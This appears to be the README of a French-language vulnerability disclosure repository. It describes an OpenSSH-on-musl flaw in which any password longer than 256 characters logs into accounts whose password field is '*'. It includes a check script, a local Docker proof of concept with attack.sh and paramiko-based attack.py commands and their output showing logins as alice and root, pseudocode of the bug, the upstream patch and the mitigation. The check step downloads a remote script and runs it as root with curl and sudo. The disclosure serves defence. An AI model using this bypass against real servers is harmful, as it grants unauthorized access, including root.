
openssh sur musl acceptait tout mot de passe de 257 caractères ou plus pour les comptes sans mot de passe. depuis 2016. check.sh, poc, patch.
openssh sur musl linux (alpine, openwrt, buildroot, yocto) vous permet de vous connecter à n'importe quel compte dont le mot de passe est * avec n'importe quel mot de passe de plus de 256 caractères. cela concerne root, les utilisateurs à clé uniquement, les utilisateurs ldap, l'utilisateur alpine sur les images cloud d'alpine. depuis 2016.
l'histoire complète est sur sshhole.com. ce dépôt contient le script pour vérifier votre propre machine, une configuration docker pour l'essayer vous-même, et le patch.
corrigé dans openssh 10.6p2 le 2026-11-05. les paquets alpine sont disponibles.
curl -sO https://raw.githubusercontent.com/oz9un/sshole/main/check.sh
sudo sh check.sh
libc musl
sshd OpenSSH_10.3p1, OpenSSL 3.5.9 29 Sep 2026
pam off (not built in)
PasswordAuthentication yes
accounts with '*' root alice deploy
sha-crypt hash present yes (bob)
EXPOSED. anyone can log in as: root alice deploy
fix: apk upgrade openssh (10.6p2), or set PasswordAuthentication no until you can.
vous n'êtes vulnérable que si toutes ces conditions sont réunies. le script vous indique laquelle manque si ce n'est pas le cas :
openssh-server standard d'alpine l'est. openssh-server-pam avec UsePAM yes est sûrPasswordAuthentication yes dans sshd_config (c'est la valeur par défaut)* comme champ de mot de passe$5$ ou $6$ (quelqu'un, n'importe qui, a exécuté passwd)glibc, pam, PasswordAuthentication no, openbsd, freebsd, macos : non affectés. vous pouvez arrêter la lecture.
vous avez besoin de docker. cela construit un alpine 3.24 normal avec openssh-server et la configuration par défaut. alice a *, bob a un vrai mot de passe.
cd poc
docker build -t sshhole .
docker run -d --rm --name sshhole -p 127.0.0.1:2222:22 sshhole
./attack.sh 127.0.0.1 2222 alice
Permission denied, please try again.
uid=1000(alice) gid=1000(alice) groups=1000(alice)
RESULT: logged in as alice
deux prompts. le premier n'importe quoi, le second 300 x A. c'est l'exploit.
root fonctionne aussi si PermitRootLogin yes est défini :
docker rm -f sshhole
docker run -d --rm --name sshhole -p 127.0.0.1:2222:22 sshhole /usr/sbin/sshd -D -e -o PermitRootLogin=yes
./attack.sh 127.0.0.1 2222 root
attack.py fait de même avec paramiko et vous permet de choisir la longueur du mot de passe, afin que vous puissiez voir 256 échouer et 257 fonctionner :
pip install paramiko
python3 attack.py 127.0.0.1 2222 alice 256 # rejected
python3 attack.py 127.0.0.1 2222 alice 257 # logged in
pour les versions plus anciennes d'alpine : docker build --build-arg BASE=alpine:3.21 -t sshhole . cela fonctionne au moins jusqu'à la 3.18. la plus ancienne que nous avons essayée était openssh 7.5p1 sur musl 1.1.16 de 2017, et cela fonctionnait là aussi.
patch/4353fdc43-avoid-password-authn-bypass.patch est le correctif upstream, inchangé, au cas où vous auriez besoin de l'appliquer à une version plus ancienne. il fonctionne sur tout à partir de la 7.3p1. il fait en sorte que sshd ignore la comparaison lorsque le champ stocké est trop court pour être un véritable hash, et il cesse également d'utiliser un pointeur vers le buffer statique de la libc.
si vous ne pouvez pas mettre à jour maintenant, définissez PasswordAuthentication no dans sshd_config. cela ferme complètement la faille.
pw_password = "*" # alice has no password
salt = NULL # "*" is too short to be a salt
salt = pick_salt() # so sshd takes bob's: "$6$abc$"
hash = crypt("AAAA…x300", "$6$abc$") # musl: key is over 256 bytes -> returns "*"
strcmp(hash, pw_password) == 0 # "*" == "*"
return 1 # welcome, alice
sshd compare contre * de cette façon depuis les années 90. musl a commencé à renvoyer * en cas d'échec en 2012. sshd a commencé à utiliser les sels d'autres comptes en 2016. voir la chronologie.
la configuration complète des tests (17 environnements : image cloud dans qemu, openwrt, buildroot, utilisateurs ldap et ad, etc.), les chiffres de prévalence et le tableau par distribution se trouvent dans l'article. ils pourront être publiés plus tard. ce dépôt est volontairement petit.
licence mit.